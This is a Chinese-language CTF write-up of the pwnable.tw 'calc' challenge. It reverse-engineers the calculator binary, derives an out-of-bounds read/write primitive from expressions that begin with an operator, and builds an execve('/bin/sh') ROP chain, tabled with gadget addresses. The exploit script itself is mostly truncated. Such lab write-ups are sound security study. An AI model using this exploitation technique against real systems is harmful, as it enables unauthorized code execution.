Pwnable.tw calc Writeup
Pwnable.tw - calc
Description
Have you ever use Microsoft calculator?
Source
https://pwnable.tw/challenge/#3
0x1 Initial Reconnaissance
題目如名是一個計算機,跟前面一樣都是 x86 的 binary,然後是 statically linked,又 NX 有開,可能高機率會利用到 rop,這邊有個印象就好,執行的部分有發現一些不尋常的輸出,稍後可以來分析這些 case。
file
1 | └─$ file ./calc |
checksec
1 | └─$ checksec ./calc |
./calc
1 | └─$ ./calc |
0x2 Reverse Engineering
用 ida 反編譯並且整理過後,我們大致可以理解程式的行為如下:
main()
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
輸出歡迎後呼叫 cal()
。
calc()
1 | void __cdecl calc() |
用無限迴圈讀取使用者輸入,先用 bzero()
初始化即將要輸入的陣列,用 get_expr()
讀取,讀取成功後用 init_pool()
初始化結果陣列,並且呼叫 parse_expr()
計算結果,最後輸出答案: pool[pool[0]]
,接著細看 get_expr()
。
get_expr()
1 | int __cdecl get_expr(int user_input, int max_input) |
迴圈會判斷輸入是否:
- 小於 1024 個 Bytes
- 成功讀取字元
- 字元非換行符號
皆符合就輸入到user_input
的尾巴,最後會返回輸入的大小。
parse_expr()
這部分有點長,我把它拆開來分析:
1.
1 | int __cdecl parse_expr(int input, _DWORD *pool) |
接下來一連串的判斷是要處理運算的先後順序,首先要是符號才能進入最外層,然後會把這個符號前未處理的數字切成 part_input
並且判斷是否為 0(這個程式拒絕任何的 0 單獨出現 XD,前面測試階段有發現)
2.
1 | part_input_int = atoi((int)part_input); |
第一部分沒問題後就會把切塊的字串轉成整數,因為 *pool = pool[0]
,所以 pool_index
會儲存 pool[0]
之後,執行pool[0]+1
,這邊可以理解成 pool[0] = pool.size()
。把切塊的整數放到 pool
的最後面,接著判斷符號後面是否還有東西而且不是符號,否則輸出錯誤訊息。
3.
1 | point_on_input = i + 1 + input; |
如果符號陣列不是空就照不同情況作運算,否則放入目前符號到符號陣列中,呼叫 eval()
計算。
eval()
1 | void __cdecl eval(_DWORD *pool, char operators) |
可以發現 eval()
都是用 pool[0]
當成相對位址的 base
來取其他位置的值
0x3 Fuzzing & Analyze
在最一開始執行程式的時候有發現只要開頭是符號結果就怪怪的,我們來分析一下出了什麼問題,先拿 +12+34 當例子:
1 | └─$ ./calc |
- 第一個加號
- 因為是符號會通過最外層的
if
,且part_input = ''
,不等於 0 所以不會輸出錯誤訊息。 - 接著
atoi
會把空字串轉成 0,沒有大於 0 所以第一個判斷不會進,後面不是符號所以也不會進錯誤。 operators_array[operators_array_index]
是空的所以會執行operators_array[0] = '+'
,後面還有東西所以繼續執行。
- 第二個加號
- 一樣會通過最外層的
if
,part_input = 12
,非 0 所以不會進錯誤。 - 整數 56 大於 0,所以會執行以下的程式碼:也就是:
1
2
3
4
5if ( part_input_int > 0 )
{
pool_index = (*pool)++;
pool[pool_index + 1] = part_input_int;
}下個字元不是符號不會進錯誤。1
2
3pool_index = pool[0] = 0;
pool[0] += 1;
pool[1] = part_input_int = 12; - 符號陣列已經存了一個
'+'
所以會執行:也就是:1
2eval(pool, operators_array[operators_array_index]);
operators_array[operators_array_index] = *(_BYTE *)(i + input);我們再細看一下1
2
3
4
5
6eval(pool, '+')
// 進入 eval()
pool[pool[0] - 1] += pool[pool[0]];
--*pool;
// 離開 eval()
operators_array[0] = '+';pool[pool[0] - 1] += pool[pool[0]];
:關鍵就在這裡,作為相對位址基值的第零格被我們篡改了!1
2
3
4pool[0] = 1
pool[1-1] = pool[0]
pool[0] += pool[1] = 12
pool[0] + 1 - 1 = 12
接下就會再執行一次下面兩段程式碼:也就是:1
2
3
4
5
6// 1.
pool_index = (*pool)++;
pool[pool_index + 1] = part_input_int;
// 2.
pool[pool[0] - 1] += pool[pool[0]];
--*pool;這代表我們可以做到任意寫和任意讀,確認一下輸出的位置是哪裡:1
2
3
4
5
6
7
8// 1.
pool_index = pool[0]++ = 13;
pool[0] = 14
pool[13 + 1] = 34
// 2.
pool[14 - 1] += pool[14] = 34
pool[13] = pool[13] + 34
pool[0] - 1 = 13所以會印出1
2
3
4
5if ( parse_expr((int)input, pool) )
{
printf("%d\n", pool[pool[0]]);
fflush(stdout);
}pool[pool[0]]
:
在這裡的情況就是所以會印出 pool[13] = pool[13] + 341
2pool[0] = 13
pool[pool[0]] = pool[13]
我們來把結論代數化方便我們理解他們的關係:
假設 x, y 皆為正整數。
Case 1: +x
執行 1:
1 | if ( part_input_int > 0 ) |
結果 1:
1 | pool_index = pool[0] = 0 |
執行 2:
1 | pool[pool[0] - 1] += pool[pool[0]]; |
結果 2:
1 | pool[0] += pool[1] = x |
印出:
1 | pool[pool[0]] = pool[x] |
Case 2: +x+y
基於上面的結果我們再加 y:
目前:
1 | pool_index = 0 |
執行 1:
1 | if ( part_input_int > 0 ) |
結果 1:
1 | pool_index = pool[0] = x |
執行 2:
1 | pool[pool[0] - 1] += pool[pool[0]]; |
結果 2:
1 | pool[x + 1 - 1] += pool[x + 1] = y |
印出:
1 | pool[pool[0]] = pool[x] = pool[x] + y |
代數化結論
- +x
- 印出 pool[x]
- +x+y
- pool[x] = pool[x] + y
- pool[x + 1] = y
- 印出 pool[x] = pool[x] + y
我們執行一個特殊的 case 確認一下我們的推論:
因為迴圈每次都會執行 init_pool(pool);
所以 case 會挑 pool 外的地址
1 | └─$ ./calc |
結論正確!
0x4 Exploitation
我們已經可以做到任意的 oob write & read 了,再來就是找 ret 跟 pool 的相對位置:
在 ida 有很貼心的幫我們標示 pool[]
的位置:int pool[101]; // [esp+18h] [ebp-5A0h] BYREF
又 cal()
的 ret 在 ebp + 0x4,
0x5A0 + 0x4 = 0x5A4 / 4 = 361
所以 ret 在 pool[361]
的位置。
那最一開始有提到這題有開 NX 不能直接寫 shellcode,但因為是 statically linked,所以我會想先嘗試 rop 開 shell。
我們還需要知道 main_ebp 的位置,因為這題找不到 “\bin\sh”,所以我們要自己填再跳上去,因此會需要 leak main_ebp。
那 leak 的方式也很簡單,因為 pool[360] 就是存 main_ebp 所以可以透過輸入 +360 來獲得。
等等會直接把 /bin/sh
放在 in 0x80
後面,所以把 stack frame 用 gdb 釐清一下,進到 calc()
後印出 $ebp
:
1 | gef➤ x $ebp |
所以可以得知 calc_ebp 到 main_ebp 的距離為 0x20。
來用表格呈現一下我們的 ROP chain:
Stack | pool | value | Note |
---|---|---|---|
calc_ebp | pool[360] | main_ebp | |
calc_ret | pool[361] | 0x0805c34b | pop_eax |
main_ebp-0x18 | pool[362] | 0x0b | 11 |
main_ebp-0x14 | pool[363] | 0x080701d0 | pop_edx_ecx_ebx |
main_ebp-0x10 | pool[364] | 0x0 | |
main_ebp-0xc | pool[365] | 0x0 | |
main_ebp-0x8 | pool[366] | main_ebp | bin_sh_addr |
main_ebp-0x4 | pool[367] | 0x08049a21 | int 0x80 |
main_ebp | pool[368] | u32(“/bin”) | |
main_ret | pool[369] | u32(“/sh\0”) |
填的時候要注意不能單獨出現 0,所以我們可以利用 +x+y 會把 pool[x] = pool[x] + y 的特性來放置我們的 rop,就可以避免跳 prevent division by zero
的錯誤。
0x5 Exploit
1 | from pwn import * |
Result:
1 | └─$ python exploit.py |
0x6 References
一開始做的時候忽略 eval()
最後有個 --*pool;
導致一直計算錯誤QQ。
這題寫了蠻久的,參考了很多大佬的 writeup,學到好多東西,未來應該也會用表格和拆解程式碼來輔助釐清思緒。
https://hackmd.io/@Zero871015/pwnable#calc
https://xuanxuanblingbling.github.io/ctf/pwn/2020/02/01/calc/
https://blog.csdn.net/weixin_46521144/article/details/118543069
Pwned !!!
- Title: Pwnable.tw calc Writeup
- Author: kazma
- Created at : 2024-02-11 22:59:16
- Updated at : 2024-04-19 14:35:38
- Link: https://kazma.tw/2024/02/11/Pwnable-tw-calc-Writeup/
- License: This work is licensed under CC BY-NC-SA 4.0.